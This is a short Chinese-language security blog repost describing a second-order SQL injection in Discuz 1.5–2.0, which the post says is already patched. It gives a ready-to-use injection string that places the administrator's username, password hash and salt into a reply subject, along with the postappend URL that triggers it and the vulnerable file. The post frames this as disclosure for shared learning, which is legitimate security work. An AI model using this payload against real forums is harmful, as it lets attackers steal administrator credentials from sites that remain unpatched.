Discuz 1.5 - 2.0 二次注入细节(已出补丁) - 脚本漏洞

admin 2021年4月3日19:38:54评论62 views字数 547阅读1分49秒阅读模式

    By:jannock

    今天才发现,discuz 昨天又出补丁了。唉,又少一个玩了。这里说一下细节让大家共同学习一下吧。

    在发表回复的地方输入注入语句

a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment='

    然后到回复补充那里随便补充一下,注入语句就被执行。

补充的地址:

    forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}

    上面的语句就会把取得的内容写进回复主题返回。

漏洞文件:

    sourcemoduleforumforum_misc.php

文章来源于lcx.cc:Discuz 1.5 - 2.0 二次注入细节(已出补丁) - 脚本漏洞

相关推荐: 6000万网民一年被骗300多亿元

网购发展快速,黑客敛财有道。数据显示,过去一年,31.8%的中国网民在网购中直接碰到钓鱼网站或诈骗网站,网购遇骗网民的规模达6169万,其中近4成网民诉讼额度超过500元,有超过3成网民损失额度在500元~2000元范围。 分析报告估算,每年因钓鱼网站或诈骗网…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:38:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Discuz 1.5 - 2.0 二次注入细节(已出补丁) - 脚本漏洞https://cn-sec.com/archives/324152.html

发表评论

匿名网友 填写信息